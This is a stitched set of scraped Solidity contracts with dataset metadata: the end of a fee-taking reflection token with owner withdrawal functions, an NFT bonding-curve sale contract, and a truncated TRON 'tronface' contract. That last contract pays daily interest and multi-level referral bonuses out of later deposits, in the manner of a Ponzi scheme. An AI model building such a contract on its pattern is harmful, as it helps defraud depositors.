if(_isExcludedFromReward[burnWallet])
_tOwned[burnWallet] = _tOwned[burnWallet].add(tBurn);
}
function calculateReflectionFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_reflectionFee).div(10000);
}
function calculateMarketingFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_marketingFee).div(10000);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(10000);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(10000);
}
function removeAllFee() private {
_reflectionFee = 0;
_marketingFee = 0;
_liquidityFee = 0;
_burnFee = 0;
}
function applyBuyFee() private {
_reflectionFee = reflectionFee[0];
_marketingFee = marketingFee[0];
_liquidityFee = liquidityFee[0];
_burnFee = burnFee[0];
}
function applySellFee() private {
_reflectionFee = reflectionFee[1];
_marketingFee = marketingFee[1];
_liquidityFee = liquidityFee[1];
_burnFee = burnFee[1];
}
function applyP2PFee() private {
_reflectionFee = reflectionFee[2];
_marketingFee = marketingFee[2];
_liquidityFee = liquidityFee[2];
_burnFee = burnFee[2];
}
function _transfer(address from, address to, uint256 amount) internal override{
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(!_isExcludedFromMaxTokenPerWallet[to])
{
uint256 balanceRecepient = balanceOf(to);
require(balanceRecepient + amount <= maxTokenPerWallet, "Exceeds maximum token per wallet limit");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (canSwap && !swapping && _automatedMarketMakerPairs[to] && swapAndLiquifyEnabled)
{
uint256 tokenToLiqudity = liquidityFeeTotal.div(2);
uint256 tokenToMarketing = marketingFeeTotal;
uint256 tokenToSwap = tokenToLiqudity.add(tokenToMarketing);
if(tokenToSwap >= swapTokensAtAmount)
{
swapping = true;
uint256 initialBalance = address(this).balance;
swapTokensForETH(swapTokensAtAmount);
uint256 newBalance = address(this).balance.sub(initialBalance);
uint256 liqudityPart = newBalance.mul(tokenToLiqudity).div(tokenToSwap);
uint256 marketingPart = newBalance - liqudityPart;
if(liqudityPart > 0)
{
uint256 liqudityToken = swapTokensAtAmount.mul(tokenToLiqudity).div(tokenToSwap);
addLiquidity(liqudityToken, liqudityPart);
liquidityFeeTotal = liquidityFeeTotal.sub(liqudityToken).sub(liqudityToken);
}
if(marketingPart > 0)
{
payable(marketingWallet).transfer(marketingPart);
marketingFeeTotal = marketingFeeTotal.sub(swapTokensAtAmount.mul(tokenToMarketing).div(tokenToSwap));
}
swapping = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to])
{
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
{
removeAllFee();
}
else if(!_automatedMarketMakerPairs[sender] && !_automatedMarketMakerPairs[recipient])
{
applyP2PFee();
}
else if(_automatedMarketMakerPairs[recipient])
{
applySellFee();
}
else
{
applyBuyFee();
}
uint256 tBurn = calculateBurnFee(amount);
if(tBurn > 0)
{
_takeBurn(tBurn);
emit Transfer(sender, address(burnWallet), tBurn);
}
if (_isExcludedFromReward[sender] && !_isExcludedFromReward[recipient])
{
_transferFromExcluded(sender, recipient, amount, tBurn);
}
else if (!_isExcludedFromReward[sender] && _isExcludedFromReward[recipient])
{
_transferToExcluded(sender, recipient, amount, tBurn);
}
else if (!_isExcludedFromReward[sender] && !_isExcludedFromReward[recipient])
{
_transferStandard(sender, recipient, amount, tBurn);
}
else if (_isExcludedFromReward[sender] && _isExcludedFromReward[recipient])
{
_transferBothExcluded(sender, recipient, amount, tBurn);
}
else
{
_transferStandard(sender, recipient, amount, tBurn);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount, uint256 tBurn) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tMarketing) = _getValues(tAmount);
tTransferAmount = tTransferAmount.sub(tBurn);
rTransferAmount = rTransferAmount.sub(tBurn.mul(_getRate()));
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeMarketing(tMarketing);
_reflectFee(rFee, tFee);
liquidityFeeTotal += tLiquidity;
marketingFeeTotal += tMarketing;
if(tMarketing.add(tLiquidity) > 0)
{
emit Transfer(sender, address(this), tMarketing.add(tLiquidity));
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount, uint256 tBurn) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tMarketing) = _getValues(tAmount);
tTransferAmount = tTransferAmount.sub(tBurn);
rTransferAmount = rTransferAmount.sub(tBurn.mul(_getRate()));
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeMarketing(tMarketing);
_reflectFee(rFee, tFee);
liquidityFeeTotal += tLiquidity;
marketingFeeTotal += tMarketing;
if(tMarketing.add(tLiquidity) > 0)
{
emit Transfer(sender, address(this), tMarketing.add(tLiquidity));
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount, uint256 tBurn) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tMarketing) = _getValues(tAmount);
tTransferAmount = tTransferAmount.sub(tBurn);
rTransferAmount = rTransferAmount.sub(tBurn.mul(_getRate()));
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeMarketing(tMarketing);
_reflectFee(rFee, tFee);
liquidityFeeTotal += tLiquidity;
marketingFeeTotal += tMarketing;
if(tMarketing.add(tLiquidity) > 0)
{
emit Transfer(sender, address(this), tMarketing.add(tLiquidity));
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount, uint256 tBurn) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tMarketing) = _getValues(tAmount);
tTransferAmount = tTransferAmount.sub(tBurn);
rTransferAmount = rTransferAmount.sub(tBurn.mul(_getRate()));
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeMarketing(tMarketing);
_reflectFee(rFee, tFee);
liquidityFeeTotal += tLiquidity;
marketingFeeTotal += tMarketing;
if(tMarketing.add(tLiquidity) > 0)
{
emit Transfer(sender, address(this), tMarketing.add(tLiquidity));
}
emit Transfer(sender, recipient, tTransferAmount);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private{
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ETHAmount}(address(this),
tokenAmount,
0,
0,
address(this),
block.timestamp);
}
function migrateTokens(address token, address receiver, uint256 amount) external onlyOwner{
require(token != address(0), "Zero address");
require(receiver != address(0), "Zero address");
if(address(token) == address(this))
{
require(IERC20(address(this)).balanceOf(address(this)).sub(liquidityFeeTotal).sub(marketingFeeTotal) >= amount, "Insufficient balance on contract");
}
else
{
require(IERC20(token).balanceOf(address(this)) >= amount, "Insufficient balance on contract");
}
IERC20(token).transfer(address(receiver), amount);
emit MigrateTokens(token, receiver, amount);
}
function migrateETH(address payable recipient) external onlyOwner{
require(recipient != address(0), "Zero address");
emit TransferETH(recipient, address(this).balance);
recipient.transfer(address(this).balance);
}
}
| 172,589 | 11,708 |
c394fa3ea3ba01bfeddd9dc9c51d34e487bdc3a023c2dc03f9265fbe5d4c420d
| 23,572 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/08/088d6402b1AE71059558F07158cEa19c97b73393_BuyoutBondingCurve.sol
| 4,488 | 18,164 |
pragma solidity ^0.8.9;
library MerkleProof {
function verify(bytes32[] memory proof,
bytes32 root,
bytes32 leaf) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IInitOwnable {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function owner() external view returns (address);
function initOwner(address initialOwner) external;
function renounceOwnership() external;
function transferOwnership(address newOwner) external;
}
interface ISaleModel is IInitOwnable {
event Initialised(uint256 indexed host, address indexed collection);
event MetaUpdated(string indexed twitterPost, string indexed infoLink, string indexed preview);
event Finalised();
event ClaimedRaised(uint256 indexed amount);
function setMeta(string memory twitterPost, string memory infoLink, string memory preview) external;
function claimRaised() external;
}
interface ISaleFactory {
// Event
// ----------------------------------------------------------------------
event Initialised(IInitOwnable[] indexed saleModels, address indexed treasury, uint256 indexed baseFee, uint256 hostFee);
event NewOwnerControl(bool indexed ownerControl);
event SaleCreated(address indexed creator, address indexed clone, uint256 indexed saleId);
event StatsUpdated(uint256 indexed totalRaised, uint256 indexed theaterFee, uint256 indexed hostFee);
event ModelsAdded(IInitOwnable[] indexed saleModel);
event ModelRemoved(uint256 indexed index);
event HostAdded(address indexed creator, address indexed treasury);
event HostChanged(uint256 indexed hostId, address indexed treasury);
event NewTreasury(address indexed treasury);
event NewBaseFeePerc(uint16 indexed baseFeePerc);
event NewHostFeePerc(uint16 indexed hostFeePerc);
// Data Structures
// ----------------------------------------------------------------------
struct Host {
address owner;
address treasury;
}
struct Sale {
// Sale model cloning.
IInitOwnable modelUsed;
// Clone sale contract the artist is using.
IInitOwnable saleContract;
}
struct Model {
IInitOwnable ref;
uint256 totalCreated;
}
// Views
// ----------------------------------------------------------------------
function initialised() external view returns(bool);
function ownerControl() external view returns(bool);
function treasury() external view returns(address);
function baseFeePerc() external view returns(uint16);
function hostFeePerc() external view returns(uint16);
function host(uint256 id) external view returns (Host memory);
function model(uint256 id) external view returns (Model memory);
function sale(uint256 id) external view returns (Sale memory);
function hostList() external view returns(Host[] memory);
function modelList() external view returns (Model[] memory);
function saleList() external view returns(Sale[] memory);
function hostLength() external view returns(uint256);
function modelLength() external view returns(uint256);
function saleLength() external view returns(uint256);
function hostByAddr(address addr) external view returns (bool success, uint256 id);
// Interaction
// ----------------------------------------------------------------------
function createSale(uint256 modelId) external returns (address result);
function addHost(address treasury) external;
function changeHostTreasury(uint256 hostId, address treasury) external;
}
interface ICollection {
function totalSupply() external view returns(uint256);
function totalMinted() external view returns(uint256);
function needMintAllowance() external view returns(bool);
function approvedMinting(address minter) external view returns(uint256);
function mint(address to, uint256 amount) external;
}
abstract contract InitOwnable is IInitOwnable {
bool private _init;
address private _owner;
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
function owner() public view override returns (address) {
return _owner;
}
function initOwner(address initialOwner) external override {
require(!_init, "shoo");
_init = true;
_transferOwnership(initialOwner);
}
function renounceOwnership() public override onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// --------------------------------------------------------------------------------------
//
// (c) BuyoutBondingCurve 27/12/2021 | SPDX-License-Identifier: AGPL-3.0-only
// Designed by, DeGatchi (https://github.com/DeGatchi).
//
// --------------------------------------------------------------------------------------
error NotInitialised();
error IsInitialised();
error HostNotFound(uint256 input, uint256 total);
error ZeroStartPrice();
error TotalSupplyZero();
error TotalSupplyOverflow();
error MintingUnapproved();
error SaleFinalised();
error SaleHasntStarted(uint256 currentTime, uint256 startTime);
error SaleEnded(uint256 currentTime, uint256 endTime);
error NotWhitelisted();
error ZeroAmount();
error MintOverflow(uint256 minting, uint256 limitAfterMint, uint256 mintingLimit);
error ZeroClaimable();
contract BuyoutBondingCurve is ISaleModel, InitOwnable {
event Buyout(address indexed buyer, uint256 indexed amount, uint256 bonusAmount, uint256 indexed cost);
ISaleFactory public constant SALE_FACTORY = ISaleFactory(0xC0Ebb15a7cDc185B8641cbF426B107fdd98D594f);
IERC20 public constant WETH = IERC20(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83);
bool public initialised;
struct Info {
// Link to tweet that includes details of sale.
// - Used to let community know this isn't an imposter sale.
string twitterPost;
// Link to external link that has more information on the project.
string infoLink;
// Link to off-chain metadata (image/gif).
// - Used to display preview of collection being sold.
string preview;
// Whitelist merkle tree root
// - If no whitelist, merkle root == `0x0...`
bytes32 merkleRoot;
// Host ID assigned to this sale.
uint256 host;
// Theater commission percentage.
uint16 baseFeePerc;
// Host cut of commission percentage.
uint16 hostFeePerc;
// Whether sale has ended
bool finalised;
// Address that made the sale
address creator;
// Token contract to mint ids from
// - Must be able to give permission to this contract to mint
ICollection collection;
// Amount raised from sale
uint256 raised;
// Amount not claimed from raised
uint256 unclaimed;
}
Info public info;
struct Sale {
// Each token sold increases `lastPrice` by this amount
// - i.e, 500 (500 / 10,000 = 0.05)
uint256 multiplier;
// Last sale price
uint256 lastPrice;
// Timestamp of when sale ends
uint256 startTime;
// Timestamp of when sale ends
uint256 endTime;
// Total ids to sell/mint
uint256 totalSupply;
// Total ids sold
uint256 totalSold;
}
Sale public sale;
struct BulkBonus {
// Amount of NFTs being bought.
uint256 buyingAmount;
// Amount of NFTs given for free.
uint256 freeAmount;
}
// The more bought, the more given for free
BulkBonus[] public bulkBonuses;
/// @dev Must be initialised to use function.
modifier onlyInit() {
if (!initialised) revert NotInitialised();
_;
}
// Creation
// ----------------------------------------------------------------------
/// @dev Initiate the sale contract.
/// @param _host Index of SALE_FACTORY's referrals that referred you.
/// @param _collection NftCollection integrated NFT contract being sold.
/// @param _startDelay Amount of seconds to add to block.timestamp to begin the sale.
/// @param _duration Amount of seeconds the sale lasts for once it starts.
/// @param _startPrice Price for the first token sold.
/// @param _multiplier The % of the last price to increase per token sold.
/// @param _totalSupply Amount of tokens being sold.
/// @param _merkleRoot Optional: merkle root from tree of whitelisted addresses.
/// @param _bulkBonuses Optional: the more bought, the more given for free.
function init(uint256 _host,
ICollection _collection,
uint24 _startDelay,
uint24 _duration,
uint256 _startPrice,
uint256 _multiplier,
uint256 _totalSupply,
bytes32 _merkleRoot,
BulkBonus[] memory _bulkBonuses) public onlyOwner {
if (initialised) revert IsInitialised();
if (_totalSupply < 1) revert TotalSupplyZero();
if (_startPrice < 1) revert ZeroStartPrice();
if (_collection.totalMinted() + _totalSupply > _collection.totalSupply()) revert TotalSupplyOverflow();
if (_collection.approvedMinting(address(this)) < _totalSupply) revert MintingUnapproved();
setFactoryLink(_host);
info.collection = _collection;
info.merkleRoot = _merkleRoot;
info.creator = msg.sender;
sale.lastPrice = _startPrice;
sale.multiplier = _multiplier;
sale.totalSupply = _totalSupply;
uint256 startTime = block.timestamp + _startDelay;
sale.startTime = startTime;
sale.endTime = startTime + _duration;
for (uint256 i; i < _bulkBonuses.length; i++) {
bulkBonuses.push(_bulkBonuses[i]);
}
initialised = true;
emit Initialised(_host, address(_collection));
}
/// @dev Set factory details.
function setFactoryLink(uint256 _host) internal {
if (_host > 0) {
uint256 hostLength = SALE_FACTORY.hostLength() - 1;
if (_host > hostLength) revert HostNotFound(_host, hostLength);
info.hostFeePerc = SALE_FACTORY.baseFeePerc();
}
info.host = _host;
info.baseFeePerc = SALE_FACTORY.baseFeePerc();
}
/// @dev Sets metadata used for verification.
/// @param twitterPost Link to twitter post w/ this contract's address on it, verifying it's you.
/// @param infoLink Link to a website that explains more about your project.
/// @param preview Link to metadata image/gif, used as preview on FE (e.g., IPFS link).
function setMeta(string memory twitterPost,
string memory infoLink,
string memory preview) external override onlyOwner {
info.twitterPost = twitterPost;
info.infoLink = infoLink;
info.preview = preview;
Info memory mInfo = info;
emit MetaUpdated(mInfo.twitterPost, infoLink, mInfo.preview);
}
// Interaction
// ----------------------------------------------------------------------
/// @dev Creator receives unclaimed raised funds.
function claimRaised() external override onlyInit {
Info memory mInfo = info;
if (mInfo.unclaimed < 1) revert ZeroClaimable();
info.unclaimed = 0;
uint256 commission = (mInfo.unclaimed * mInfo.baseFeePerc) / 10_000;
if (commission > 0) {
address theaterTreasury = SALE_FACTORY.treasury();
if (mInfo.host > 0) {
ISaleFactory.Host memory host = SALE_FACTORY.host(mInfo.host);
uint256 cut = (commission * mInfo.hostFeePerc) / 10_000;
WETH.transfer(host.treasury, cut);
WETH.transfer(theaterTreasury, commission - cut);
} else {
WETH.transfer(theaterTreasury, commission);
}
}
WETH.transfer(mInfo.creator, mInfo.unclaimed - commission);
emit ClaimedRaised(mInfo.unclaimed);
_finalise();
}
/// @dev Buyout current bundle.
/// @param merkleProof Hashes used to reach the merkle root w/ address.
/// @param amount Amount of ids to buy.
function buyout(bytes32[] calldata merkleProof, uint256 amount) external onlyInit {
Info memory mInfo = info;
if (amount < 1) revert ZeroAmount();
if (mInfo.finalised) revert SaleFinalised();
if (!_isWhitelisted(merkleProof)) revert NotWhitelisted();
Sale memory mSale = sale;
if (block.timestamp < mSale.startTime) revert SaleHasntStarted(block.timestamp, mSale.startTime);
if (block.timestamp >= mSale.endTime) revert SaleEnded(block.timestamp, mSale.endTime);
(uint256 cost, uint256 bonus, uint256 newPrice) = buyingResults(amount);
uint256 tally = amount + bonus;
uint256 newTotalSold = mSale.totalSold + tally;
if (newTotalSold > mSale.totalSupply) revert MintOverflow(tally, newTotalSold, mSale.totalSupply);
WETH.transferFrom(msg.sender, address(this), cost);
sale.lastPrice = newPrice;
info.raised += cost;
info.unclaimed += cost;
sale.totalSold += tally;
mInfo.collection.mint(msg.sender, tally);
emit Buyout(msg.sender, amount, bonus, cost);
_finalise();
}
// Internals
// ----------------------------------------------------------------------
/// @dev Finalises the sale if the requirements are met.
function _finalise() internal {
Sale memory mSale = sale;
if (mSale.totalSold == mSale.totalSupply || block.timestamp >= mSale.endTime) {
Info memory mInfo = info;
if (!mInfo.finalised) {
info.finalised = true;
emit Finalised();
}
}
}
/// @dev Checks if user is whitelisted for sale participation.
/// @param _merkleProof Hashes used to reach the merkle root w/ address.
function _isWhitelisted(bytes32[] calldata _merkleProof) internal view returns(bool) {
bytes32 nullRoot;
Info memory mInfo = info;
// If no merkle root, no whitelist.
if (mInfo.merkleRoot != nullRoot) {
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
return MerkleProof.verify(_merkleProof, mInfo.merkleRoot, leaf);
} else return true;
}
// Views
// ----------------------------------------------------------------------
/// @dev Calculates how many free NFTs are given based off the buying `amount`.
/// @param amount Amount of ids to buy.
function getBulkBonus(uint256 amount) public view returns(uint256) {
BulkBonus[] memory mBB = bulkBonuses;
uint256 bulkIndex;
if (mBB.length > 0) {
for (uint256 i; i < mBB.length; i++) {
if (amount >= mBB[i].buyingAmount) {
bulkIndex = i;
}
}
return mBB[bulkIndex].freeAmount;
} else {
return 0;
}
}
/// @dev Calculates the total cost for the amount of nfts being bought.
/// @param amount Amount of ids to buy.
function buyingResults(uint256 amount) public view returns (uint256 cost, uint256 bonus, uint256 lastPrice) {
Sale memory mSale = sale;
uint256 adding;
lastPrice = mSale.lastPrice;
bonus = getBulkBonus(amount);
// Calculate cost
for (uint256 i; i < amount + bonus; i++) {
// Amount being added onto last price.
// E.g., ($100 * 500) / 1,000,000 = $0.05
adding = (lastPrice * mSale.multiplier) / 1000000;
// E.g., $100 + $0.05 = $100.05
lastPrice += adding;
if (i < amount) {
// Add token price to cost
cost += lastPrice;
}
}
}
/// @dev Returns all stats to do w/ the sale.
function getSaleDetails() external view returns (bool isInitialised,
Info memory,
Sale memory,
BulkBonus[] memory) {
return (initialised,
info,
sale,
bulkBonuses);
}
}
| 327,212 | 11,709 |
669e5d96489c07ddb4652e4c9a563af493f0dff5238becfff3cb730117344b2b
| 18,584 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TH/THTSw4hXTtvhA1Q1WqgAwNL46Gpjvsg28Z_tronface.sol
| 4,915 | 16,043 |
//SourceUnit: tronface.sol
pragma solidity 0.5.10;
contract ERC20Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address tokenOwner) public view returns (uint256 balanceRemain);
function allowance(address tokenOwner, address spender) public view returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract owned {
constructor() public { owner = msg.sender; }
address payable owner;
modifier deployerOnly {
require(msg.sender == owner,
"Restricted Content");
_;
}
}
contract tronface is owned {
struct User {
uint256 id;
address upline;
uint256 referrals;
uint256 interest;
uint256 direct_bonus;
uint256 pool_bonus;
uint256 active_deposit;
uint40 paid_time;
uint256 wid_limit;
uint256 ins_amt;
uint256 past_due;
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
}
address payable public owner;
address payable public admin_fee;
uint256 public admin_fee_amount;
mapping(address => User) public users;
mapping(uint256 => address) public userList;
uint8[] public ref_bonuses;
uint8[] public pool_bonuses;
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
uint256 public total_users = 1;
uint256 public total_deposited;
uint256 public total_reinvest;
uint256 public insurance_fund;
uint256 public total_withdraw;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event PoolPayout(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event ReInvestFund(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
constructor(address payable _owner) public {
require(!isContract(_owner),"Contract Address Not Allowed!");
owner = _owner;
admin_fee = _owner;
admin_fee_amount = 0;
users[_owner].id = total_users;
userList[total_users] = _owner;
users[_owner].total_payouts = 0;
users[_owner].active_deposit = 0;
users[_owner].interest = 0;
users[_owner].wid_limit = 0;
users[_owner].paid_time = uint40(block.timestamp);
users[_owner].total_deposits = 0;
ref_bonuses.push(5);
ref_bonuses.push(2);
ref_bonuses.push(1);
ref_bonuses.push(1);
ref_bonuses.push(1);
pool_bonuses.push(40);
pool_bonuses.push(30);
pool_bonuses.push(20);
pool_bonuses.push(10);
}
function() payable external {
require(!isContract(msg.sender),"Contract Address Not Allowed!");
_deposit(msg.sender, msg.value);
}
function _setUpline(address _addr, address _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && _addr != owner && (users[_upline].paid_time > 0 || _upline == owner))
{
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
total_users++;
users[_addr].id = total_users;
userList[total_users] = _addr;
for(uint8 i = 0; i < ref_bonuses.length; i++)
{
if(_upline == address(0)) break;
users[_upline].total_structure++;
_upline = users[_upline].upline;
}
}
}
function _deposit(address _addr, uint256 _amount) private {
require(users[_addr].upline != address(0) || _addr == owner, "No upline");
require(_amount >= 1e8, "Bad amount");
require(!isContract(_addr),"Contract Registration Not Allowed!");
if(users[_addr].active_deposit > 0)
{
collect(_addr);
//calculate interest till date and change date to now
users[_addr].active_deposit += _amount;
}
else
{
users[_addr].total_payouts = 0;
users[_addr].active_deposit = _amount;
users[_addr].interest = 0;
}
users[_addr].paid_time = uint40(block.timestamp);
users[_addr].wid_limit += (_amount * 2);
users[_addr].total_deposits += _amount;
total_deposited += _amount;
emit NewDeposit(_addr, _amount);
address _tupline;
_tupline = users[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++)
{
if(_tupline == address(0)) break;
users[_tupline].direct_bonus += _amount * ref_bonuses[i] / 100;
emit DirectPayout(_tupline, _addr, _amount * ref_bonuses[i] / 100);
_tupline = users[_tupline].upline;
}
_pollDeposits(_addr, _amount);
if(pool_last_draw + 1 days < block.timestamp)
{
_drawPool();
}
admin_fee_amount += (_amount * 6 / 100);
}
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance += _amount * 3 / 100;
address upline = users[_addr].upline;
if(upline == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == upline) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
uint256 draw_amount = pool_balance / 10;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = draw_amount * pool_bonuses[i] / 100;
users[pool_top[i]].pool_bonus += win;
pool_balance -= win;
emit PoolPayout(pool_top[i], win);
}
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = address(0);
}
}
function deposit(address _upline) payable external {
require(!isContract(msg.sender),"Contract Registration Not Allowed!");
require(!isContract(_upline),"Upline Contract Address Not Allowed!");
_setUpline(msg.sender, _upline);
_deposit(msg.sender, msg.value);
}
function collect(address _addr) internal
{
require(!isContract(_addr),"Contract Address Not Allowed!");
uint secPassed = now - users[_addr].paid_time;
if (secPassed > 0 && users[_addr].paid_time > 0)
{
uint collectProfit = (users[_addr].active_deposit / 100) * (secPassed) / (1 days);
users[_addr].interest = users[_addr].interest + collectProfit;
users[_addr].paid_time = uint40(now);
}
if((users[_addr].total_payouts + users[_addr].interest + users[_addr].direct_bonus + users[_addr].pool_bonus + users[_addr].past_due) >= users[_addr].wid_limit)
{
users[_addr].interest = 0;
users[_addr].direct_bonus = 0;
users[_addr].pool_bonus = 0;
users[_addr].past_due = users[_addr].wid_limit - users[_addr].total_payouts;
//users[_addr].active_deposit = 0;
}
}
function withdraw() external
{
require(!isContract(msg.sender),"Contract Address Withdraw Not Allowed!");
if(admin_fee_amount >0)
{
uint256 _admin_fee_amount;
_admin_fee_amount = admin_fee_amount;
admin_fee.transfer(_admin_fee_amount);
admin_fee_amount -= _admin_fee_amount;
}
if(pool_last_draw + 1 days < block.timestamp)
{
_drawPool();
}
collect(msg.sender);
uint256 to_payout = users[msg.sender].interest + users[msg.sender].direct_bonus + users[msg.sender].pool_bonus + users[msg.sender].past_due;
uint256 max_payout = users[msg.sender].wid_limit;
require(users[msg.sender].total_payouts < max_payout, "Already Matured Full Amount");
uint256 contractBalance = address(this).balance;
if(users[msg.sender].total_payouts + to_payout > max_payout)
{
to_payout = max_payout - users[msg.sender].total_payouts;
}
require(to_payout >= 1e7, "Minimum withdrawable amount 10 TRX!");
if(to_payout > (contractBalance - insurance_fund))
{
users[msg.sender].past_due = to_payout - (contractBalance - insurance_fund);
to_payout = (contractBalance - insurance_fund);
}
else
{
users[msg.sender].past_due = 0;
}
users[msg.sender].interest = 0;
users[msg.sender].direct_bonus = 0;
users[msg.sender].pool_bonus = 0;
require(to_payout >= 1e7, "Minimum withdrawable amount 10 TRX!");
users[msg.sender].ins_amt = (to_payout * 25 / 100);
insurance_fund = insurance_fund + (to_payout * 25 / 100);
users[msg.sender].active_deposit = users[msg.sender].active_deposit + (to_payout * 25 / 100);
to_payout = to_payout - (to_payout * 25 / 100);
users[msg.sender].total_payouts += to_payout;
total_withdraw += to_payout;
